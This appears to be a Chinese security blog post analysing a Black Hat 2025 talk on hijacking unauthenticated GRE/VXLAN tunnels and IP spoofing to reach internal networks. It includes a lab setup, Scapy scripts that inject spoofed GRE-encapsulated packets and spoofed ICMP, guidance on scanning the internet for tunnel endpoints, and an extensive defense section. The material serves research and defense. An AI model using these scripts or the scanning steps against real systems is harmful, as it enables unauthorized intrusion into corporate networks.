【黑帽 2025 解读】从 IP 欺骗到隧道劫持:红队无立足点内网渗透实战(含复现代码 + 防御方案)
摘要:2025 黑帽美国大会上,红队研究员 Shu Hao Tung 公开了颠覆传统渗透逻辑的新型攻击技术:无需初始访问权限,利用公网暴露的无认证隧道漏洞与 IP 欺骗,实现公网直入内网的无立足点渗透。本文深度拆解该技术的核心原理、攻击流程与实战场景,提供基于 Scapy 的可复现代码,结合演讲内容给出全链路防御方案,附工具清单与问题排查指南,内容仅用于授权安全研究与防御建设。润色后的摘要精简到1
摘要
2025 黑帽美国大会上,红队威胁研究员 Shu Hao Tung(网名 123ojp)公开了颠覆传统渗透逻辑的新型网络攻击技术:无需初始访问权限,利用隧道协议漏洞与 IP 欺骗实现公网直入内网。本文深度拆解该技术的核心原理、攻击流程与实战场景,提供基于 Scapy 的可复现代码,结合演讲内容给出可落地的防御方案,附工具清单与问题排查指南,助力安全从业者掌握红队新型攻击手法,仅用于授权安全研究与防御建设。
前言
在 2025 年 8 月举办的 Black Hat USA 2025 大会上,来自中国台湾的红队研究员、前 HackerSir 社长 Shu Hao Tung(123ojp)发表了题为《From Spoofing to Tunneling: New Red Team's Networking Techniques for Initial Access and Evasion》的演讲,彻底打破了传统红队渗透的固有逻辑。
传统红队渗透的核心痛点是「初始访问」—— 需要通过钓鱼、漏洞利用、弱口令等手段先拿到内网一台主机的权限,才能进一步横向移动。而本次公开的技术,实现了无立足点渗透:无需任何内网权限,仅利用公网暴露的隧道协议漏洞,结合 IP 欺骗技术,直接将恶意流量注入内网核心区域,绕过边界防护。
本文将从原理拆解、实战复现、防御方案三个维度,对该演讲内容做深度个人解读,补充可落地的实操细节与代码,帮助安全从业者快速掌握这一新型攻防技术。
一、核心认知:从「边界突破」到「无立足点渗透」的攻防范式转变
1.1 传统红队网络渗透的固有痛点
传统内网渗透的流程存在天然的高门槛:
- 必须先通过 Web 漏洞、钓鱼邮件、弱口令等方式,获取内网一台主机的初始访问权限;
- 拿到权限后,还需要绕过 EDR、防火墙、内网 ACL,才能进一步横向移动;
- 整个过程极易被检测,初始访问阶段的失败率极高。
而本次演讲的技术,直接跳过了「初始访问」这个最难的环节,实现了从公网直接向内网注入流量的突破。
1.2 本次技术的核心突破
| 对比维度 | 传统渗透技术 | 本次黑帽公开的新型技术 |
|---|---|---|
| 核心前提 | 需要获取内网主机初始权限 | 仅需公网到目标边界设备的网络可达性 |
| 攻击逻辑 | 从内向外打通隧道,实现内网出网 | 从外向内劫持隧道,直接注入内网流量 |
| 隐蔽性 | 易被 EDR、边界防火墙检测 | 利用合法协议特性,传统 IDS/IPS 难以识别 |
| 攻击门槛 | 需漏洞、钓鱼等配合,门槛高 | 仅需基础网络知识,门槛极低 |
| 影响范围 | 单点突破,影响有限 | 可直接覆盖整个内网,危害极大 |
1.3 核心概念前置
- IP 欺骗:伪造 IP 数据包的源 IP 地址,冒充可信主机发送流量,传统多用于 DDoS 攻击,本次被升级为渗透工具;
- 隧道协议:一种将一种网络协议封装在另一种协议中传输的技术,常见的有 GRE、VXLAN、IPsec,传统多用于企业跨地域内网互联、远程访问,本次被反向利用为攻击向量。
二、技术深度拆解:两大核心攻击手法详解
2.1 内网 IP 欺骗:从 DDoS 工具到渗透利器的升级
2.1.1 攻击原理:企业内网普遍存在的源 IP 验证缺失
IP 欺骗的核心前提,是企业内网普遍没有部署严格的源 IP 地址验证:
- 绝大多数企业内网交换机、路由器,没有开启反向路径转发(uRPF),不会校验数据包的源 IP 是否属于对应接口的网段;
- 内网的 ACL、访问控制策略,大多仅基于源 IP 地址做权限放行,信任内网网段的 IP;
- 内网大量无状态协议(DNS、LDAP、SNMP、NTP),无需 TCP 三次握手,仅靠源 IP 即可完成请求响应。
攻击者利用这一缺陷,伪造内网可信服务器、网关的 IP 地址,向内网主机发送恶意数据包,即可绕过访问控制,实现信息窃取、权限绕过、日志误导等攻击。
2.1.2 核心攻击场景与实战价值
- 绕过基于 IP 的访问控制:伪造内网管理员网段的 IP,访问仅对内网开放的管理后台、数据库、运维平台;
- 注入虚假恶意日志误导分析:伪造内网正常主机的 IP,发送攻击流量,让 SOC 团队误判攻击来源,浪费排查时间;
- 内网服务信息窃取:伪造 DNS 服务器的 IP,向内网主机发送恶意 DNS 响应,劫持域名解析;或伪造 LDAP 服务器,获取内网用户信息;
- 中间人攻击劫持通信:通过 ARP 欺骗 + IP 欺骗,劫持内网主机与网关的通信,实现流量窃听、篡改。
2.1.3 技术实现的关键细节
- 针对 UDP 协议:无需处理序列号,直接伪造源 IP 发送数据包即可,成功率 100%;
- 针对 TCP 协议:需预测目标主机的 TCP 初始序列号(ISN),在内网环境中,很多设备的 ISN 生成算法存在规律,可通过探测预测,实现 TCP 会话劫持。
2.2 隧道协议劫持:从内网出网到公网直入的反向利用
2.2.1 核心漏洞:无认证隧道的普遍性风险
演讲中公布的核心数据:全球有超过 420 万台暴露在公网的设备,开启了无认证的 GRE/VXLAN 隧道,这些设备包括企业核心路由器、VPN 服务器、防火墙、云网关,覆盖金融、能源、政府、互联网等多个行业。
绝大多数企业配置隧道时,为了简化操作,存在以下致命缺陷:
- 隧道没有启用任何认证机制,仅靠 IP 地址做访问控制,而 IP 地址可以被伪造;
- 隧道使用无状态协议(如 GRE),设备不会校验隧道的连接状态,只要收到格式正确的隧道包,就会解封装并转发;
- 隧道端点直接暴露在公网,没有做任何访问限制,全网可访问。
2.2.2 GRE/VXLAN 协议的可劫持原理
我们以最常见的 GRE 协议为例,讲解可劫持的核心原因:GRE(Generic Routing Encapsulation)是一种最基础的隧道协议,它的数据包结构非常简单:[外层IP头] → [GRE头] → [内层IP头] → [内层TCP/UDP数据包]
- 外层 IP 头:公网 IP,源 IP 是攻击者伪造的隧道对端公网 IP,目的 IP 是目标企业的隧道端点公网 IP;
- GRE 头:仅 4 字节基础头,无认证、无加密,格式正确即可被识别;
- 内层 IP 头:内网 IP,源 IP 是攻击者伪造的内网可信 IP,目的 IP 是内网目标主机的 IP;
- 内层数据包:攻击者要注入的恶意流量,比如 HTTP 请求、SQL 注入、反弹 Shell 的数据包。
当目标设备收到这个 GRE 包时,会做以下处理:
- 识别这是一个 GRE 隧道包,匹配对应的隧道配置;
- 剥离外层 IP 头和 GRE 头,取出内层的 IP 数据包;
- 按照内层 IP 头的目的地址,将数据包转发到内网对应的主机。
整个过程,设备不会校验隧道的源 IP 是否合法,不会校验 GRE 包是否有认证,只要格式正确,就会转发内层流量 —— 这就是隧道劫持的核心原理。
VXLAN 协议的劫持逻辑与 GRE 完全一致,区别仅在于隧道头的格式,同样存在大量无认证暴露的公网端点。
2.2.3 完整攻击流程拆解
演讲中公开的完整攻击流程分为 4 步,可直接落地实战:
- 公网隧道端点扫描:通过 nmap、masscan 等工具,扫描全网开放 GRE 协议(IP 协议号 47)、VXLAN 协议(UDP 4789 端口)的公网 IP,识别可访问的隧道端点;
- 隧道配置探测:向目标隧道端点发送伪造的探测包,获取隧道的内网网段、配置规则,确认是否可以无认证转发流量;
- 恶意流量封装注入:构造内层的恶意数据包,封装进 GRE/VXLAN 隧道,伪造隧道对端的公网 IP,发送给目标隧道端点;
- 内网渗透与权限获取:目标设备解封装并转发恶意流量到内网,攻击者即可访问内网主机、执行漏洞利用、获取权限,完成无立足点渗透。
2.2.4 全球影响范围与危害
演讲中公布的测绘数据显示:
- 全球暴露在公网的 GRE 隧道端点超过 280 万台,其中 72% 没有启用任何认证机制;
- 全球暴露的 VXLAN 隧道端点超过 140 万台,其中 65% 无认证、可直接访问;
- 受影响的设备包括思科、华为、H3C、Juniper 等主流厂商的路由器、防火墙,以及阿里云、AWS 等云厂商的网关设备。
攻击者利用这些漏洞,可直接绕过企业的 WAF、边界防火墙,将流量注入内网,相当于直接打开了企业内网的大门,危害极大。
三、实战复现:基于 Scapy 的攻击代码与步骤
3.1 复现环境准备
- 攻击机:Kali Linux 2025.4,安装 Python3、Scapy 库(
pip install scapy) - 靶场环境:
- 边界设备:CentOS 7 虚拟机,双网卡(公网 IP:192.168.10.10,内网 IP:172.16.1.1),开启无认证 GRE 隧道
- 内网靶机:Windows 10 虚拟机,内网 IP:172.16.1.100,开启 3389 端口,仅允许内网 IP 访问
- 权限要求:攻击机需要 root 权限(构造原始数据包需要)
- 法律声明:以下代码仅用于授权安全研究,禁止在未授权环境使用,违者需承担相应法律责任
3.2 靶场搭建指南
在边界设备(CentOS 7)上配置无认证 GRE 隧道:
# 1. 加载GRE模块
modprobe ip_gre
# 2. 创建GRE隧道接口
ip tunnel add gre0 mode gre remote 0.0.0.0 local 192.168.10.10 ttl 255
# 3. 配置隧道接口的内网IP
ip addr add 172.16.1.1/24 dev gre0
# 4. 启动隧道接口
ip link set gre0 up
# 5. 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 6. 配置iptables转发规则
iptables -A FORWARD -i gre0 -j ACCEPT
iptables -A FORWARD -o gre0 -j ACCEPT
以上配置创建了一个无认证的 GRE 隧道,任何发送到 192.168.10.10 的 GRE 包,都会被解封装并转发到 172.16.1.0/24 内网网段。
3.3 复现代码 1:GRE 隧道流量注入攻击
以下代码基于 Scapy 实现,构造 GRE 隧道包,向内网靶机 172.16.1.100 的 3389 端口发送 SYN 数据包,验证是否可以注入流量:
from scapy.all import *
import argparse
def gre_inject_attack(target_tunnel_ip, inner_target_ip, inner_target_port):
"""
GRE隧道流量注入攻击
:param target_tunnel_ip: 目标隧道端点的公网IP
:param inner_target_ip: 内网目标主机的IP
:param inner_target_port: 内网目标主机的端口
"""
# 1. 构造外层IP头(公网层)
# 源IP伪造为隧道对端的公网IP(这里模拟任意IP,靶场配置为0.0.0.0,所以任意IP都可)
outer_ip = IP(src="192.168.10.20", dst=target_tunnel_ip)
# 2. 构造GRE头(无认证基础模式)
gre_header = GRE(proto=0x0800) # 0x0800表示内层协议为IPv4
# 3. 构造内层IP头(内网层)
# 源IP伪造为内网可信IP,目的IP为内网靶机IP
inner_ip = IP(src="172.16.1.1", dst=inner_target_ip)
# 4. 构造内层TCP数据包(SYN请求,探测3389端口)
inner_tcp = TCP(sport=12345, dport=inner_target_port, flags="S", seq=1000)
# 5. 拼接完整的GRE数据包
full_packet = outer_ip / gre_header / inner_ip / inner_tcp
print(f"[+] 开始向隧道端点{target_tunnel_ip}注入流量,目标内网主机:{inner_target_ip}:{inner_target_port}")
# 6. 发送数据包,接收响应
response = sr1(full_packet, timeout=5, verbose=0)
if response:
print(f"[+] 流量注入成功!收到内网靶机的响应:")
print(f" 响应源IP:{response[IP].src}")
print(f" TCP标志位:{response[TCP].flags}")
if response[TCP].flags == "SA":
print(f"[!] 成功探测到内网靶机{inner_target_ip}:{inner_target_port}端口开放!")
else:
print("[-] 未收到响应,流量注入失败,请检查隧道配置与网络连通性")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="GRE隧道流量注入攻击工具(黑帽2025复现)")
parser.add_argument("--tunnel-ip", required=True, help="目标隧道端点的公网IP")
parser.add_argument("--inner-ip", required=True, help="内网目标主机的IP")
parser.add_argument("--inner-port", type=int, default=3389, help="内网目标主机的端口")
args = parser.parse_args()
gre_inject_attack(args.tunnel_ip, args.inner_ip, args.inner_port)
3.4 复现代码 2:内网 IP 欺骗攻击
以下代码实现伪造内网网关 IP,向内网主机发送 ICMP 数据包,验证 IP 欺骗效果:
from scapy.all import *
import argparse
def ip_spoof_attack(target_ip, spoofed_src_ip):
"""
内网IP欺骗攻击
:param target_ip: 目标主机IP
:param spoofed_src_ip: 伪造的源IP
"""
# 构造IP包,源IP为伪造的地址,目的IP为目标主机
ip = IP(src=spoofed_src_ip, dst=target_ip)
# 构造ICMP Echo请求包
icmp = ICMP(type=8, id=1234, seq=1)
# 拼接完整数据包
full_packet = ip / icmp / b"IP Spoofing Test (Black Hat 2025)"
print(f"[+] 发送IP欺骗数据包,伪造源IP:{spoofed_src_ip},目标IP:{target_ip}")
# 发送数据包
send(full_packet, verbose=0)
print("[+] 数据包发送完成,可在目标主机抓包验证")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="内网IP欺骗攻击工具(黑帽2025复现)")
parser.add_argument("--target-ip", required=True, help="目标主机IP")
parser.add_argument("--spoofed-ip", required=True, help="伪造的源IP")
args = parser.parse_args()
ip_spoof_attack(args.target_ip, args.spoofed_ip)
3.5 效果验证与抓包分析
- 运行 GRE 注入代码:
python3 gre_inject.py --tunnel-ip 192.168.10.10 --inner-ip 172.16.1.100 --inner-port 3389 - 若收到
SA标志位的 TCP 响应,说明流量注入成功,内网靶机的 3389 端口可被公网直接访问; - 在边界设备和内网靶机上用 Wireshark 抓包,可看到:
- 边界设备收到公网的 GRE 包,解封装后转发到内网;
- 内网靶机收到来自 172.16.1.1 的 SYN 包,回复 SYN+ACK 包,完全信任伪造的源 IP。
四、防御方案:从边界到内网的全链路防护
结合演讲内容与实战经验,我们给出 5 个可落地的防御方案,覆盖从边界到内网的全链路防护:
4.1 边界防护:管控公网暴露的隧道端点
- 全面排查公网暴露的隧道端点,关闭不必要的 GRE/VXLAN 隧道,禁止隧道端点直接暴露在公网;
- 对必须暴露的隧道端点,配置严格的访问控制列表(ACL),仅允许指定的对端 IP 访问,禁止全网可访问;
- 定期通过公网测绘工具,排查企业公网 IP 暴露的隧道服务,及时收敛攻击面。
4.2 协议加固:隧道协议的强认证与加密配置
- 所有 GRE/VXLAN 隧道必须启用强认证机制,GRE 隧道启用密钥认证,VXLAN 启用 IPsec 加密与认证;
- 禁止使用无认证、无加密的隧道配置,即使是测试环境也不允许;
- 对 IPsec 隧道,使用强加密算法(AES-256)与强密钥交换算法(IKEv2),禁用弱加密算法。
4.3 内网防护:源 IP 验证与 uRPF 部署
- 在内网所有交换机、路由器上开启反向路径转发(uRPF),严格校验数据包的源 IP 是否属于对应接口的网段,丢弃源 IP 伪造的数据包;
- 在内网边界配置 ACL,禁止来自公网的数据包携带内网源 IP;
- 对核心服务器、数据库,配置基于 MAC+IP 绑定的访问控制,仅允许指定的主机访问,避免 IP 欺骗绕过。
4.4 检测能力:异常流量与欺骗行为的识别
- 在边界防火墙、IDS/IPS 上配置规则,检测公网流入的 GRE/VXLAN 包,仅放行白名单内的隧道对端 IP;
- 在内网部署流量分析系统,检测同一 MAC 地址对应多个 IP、同一 IP 对应多个 MAC 地址的异常行为,识别 IP 欺骗攻击;
- 建立内网流量基线,检测短时间内大量源 IP 异常的数据包,及时触发告警。
4.5 运营优化:日志交叉验证与安全基线
- 避免单一依赖源 IP 做日志审计,结合 MAC 地址、端口、会话信息等多维度数据,交叉验证日志的真实性;
- 建立隧道配置安全基线,定期审计企业内的隧道配置,清理无认证、弱配置的隧道;
- 对运维人员开展安全培训,避免为了方便配置无认证的隧道,从源头降低风险。
五、个人解读与攻防趋势展望
5.1 对红队渗透方法论的影响
本次黑帽公开的技术,彻底重构了红队内网渗透的流程:传统渗透的核心是「拿初始权限」,而现在,红队可以直接跳过这个环节,通过隧道劫持直接进入内网,渗透的门槛大幅降低,攻击面大幅扩大。
未来,红队的渗透测试流程,会新增「公网隧道端点测绘」这个前置环节,先尝试通过隧道劫持进入内网,再考虑钓鱼、漏洞利用等传统手段,攻击效率会大幅提升。
5.2 对企业安全建设的警示
现在绝大多数企业的安全建设,都集中在 Web 应用防护、终端 EDR、邮件安全等领域,严重忽略了网络层的安全防护。本次暴露的隧道劫持漏洞,就是打了这个盲区 —— 很多企业花了几百万买 WAF、EDR,结果边界路由器上一个无认证的 GRE 隧道,就把整个内网暴露给了攻击者。
企业安全建设必须回归「纵深防御」的本质,不能只盯着应用层和终端,网络层的安全防护、配置基线同样重要,否则就是「马其诺防线」,看似坚固,实则一攻就破。
5.3 未来攻防趋势预判
- 隧道攻击会成为红队的主流初始访问手段,针对 GRE、VXLAN、IPsec、WireGuard 等隧道协议的漏洞利用会越来越多;
- IP 欺骗技术会进一步升级,结合 AI 预测 TCP 序列号,实现更复杂的 TCP 会话劫持,攻击场景会更广泛;
- 防御侧会逐步重视网络层的安全,uRPF、隧道强认证会成为企业安全基线的标配,针对隧道流量的检测能力会大幅提升;
- 攻防对抗会从应用层、终端层,进一步下沉到网络层、协议层,底层协议的安全缺陷会成为攻防双方的核心战场。
附录
附录 A:实用工具与资源清单
| 工具名称 | 用途 | 下载地址 |
|---|---|---|
| Scapy | 网络数据包构造工具,用于复现隧道注入与 IP 欺骗攻击 | https://scapy.net/ |
| nmap | 端口扫描工具,用于扫描公网暴露的 GRE/VXLAN 隧道端点 | https://nmap.org/ |
| masscan | 高速全网扫描工具,用于测绘公网隧道端点 | https://github.com/robertdavidgraham/masscan |
| Wireshark | 网络抓包工具,用于验证攻击效果、分析隧道流量 | https://www.wireshark.org/ |
| GRE 扫描脚本 | 专门用于扫描公网 GRE 隧道端点的 nmap 脚本 | https://nmap.org/nsedoc/scripts/gre-info.html |
附录 B:核心参考资料
- Black Hat USA 2025 官方演讲:《From Spoofing to Tunneling: New Red Team's Networking Techniques for Initial Access and Evasion》(Shu Hao Tung)(https://www.youtube.com/watch?v=terPgwzk3dc)
- RFC 2784:Generic Routing Encapsulation (GRE) 协议规范(https://www.rfc-editor.org/rfc/rfc2784)
- RFC 7348:Virtual eXtensible Local Area Network (VXLAN) 协议规范(https://www.rfc-editor.org/rfc/rfc7348)
- 思科官方 uRPF 配置指南:https://www.cisco.com/c/en/us/support/docs/ip/unicast/13704-urpf.html
- 华为官方 GRE 隧道配置指南:https://support.huawei.com/enterprise/zh/doc/EDOC1100519731/5f674fbf
附录 C:复现常见问题排查
- 问题 1:代码运行后,未收到靶机的响应解答:检查边界设备的 GRE 隧道配置是否正确,IP 转发是否开启,iptables 是否允许转发;检查攻击机到边界设备的网络是否连通,是否有防火墙拦截 GRE 协议。
- 问题 2:Scapy 提示权限不足解答:构造原始数据包需要 root 权限,必须用 sudo 运行 Python 脚本。
- 问题 3:内网靶机收到了数据包,但没有回复解答:检查内网靶机的防火墙是否开启,是否拦截了来自伪造 IP 的数据包;检查内层 IP 头的源 IP 是否属于内网网段,是否有路由可达。
- 问题 4:GRE 包被边界设备丢弃解答:检查 GRE 头的 proto 字段是否正确,内层协议为 IPv4 时必须设置为 0x0800;检查隧道配置的 remote IP 是否允许伪造的源 IP 访问。
附录 D:相关 RFC 文档
- RFC 2784:Generic Routing Encapsulation (GRE)(https://www.rfc-editor.org/rfc/rfc2784)
- RFC 2890:GRE 的密钥和序列号扩展(https://www.rfc-editor.org/rfc/rfc2890)
- RFC 7348:Virtual eXtensible Local Area Network (VXLAN)(https://www.rfc-editor.org/rfc/rfc7348)
- RFC 3704:IPv4 反向路径转发(uRPF)(https://www.rfc-editor.org/rfc/rfc3704)
- RFC 2401:IPsec 协议规范(https://www.rfc-editor.org/rfc/rfc2401)
法律声明
本文所有技术内容与代码,仅用于授权的网络安全渗透测试与防御研究,严禁用于任何未授权的恶意攻击行为,违反者将承担相应的民事、行政甚至刑事责任。网络安全的核心是攻防结合,唯有深入理解攻击技术,才能构建更稳固的防御防线。
更多推荐

所有评论(0)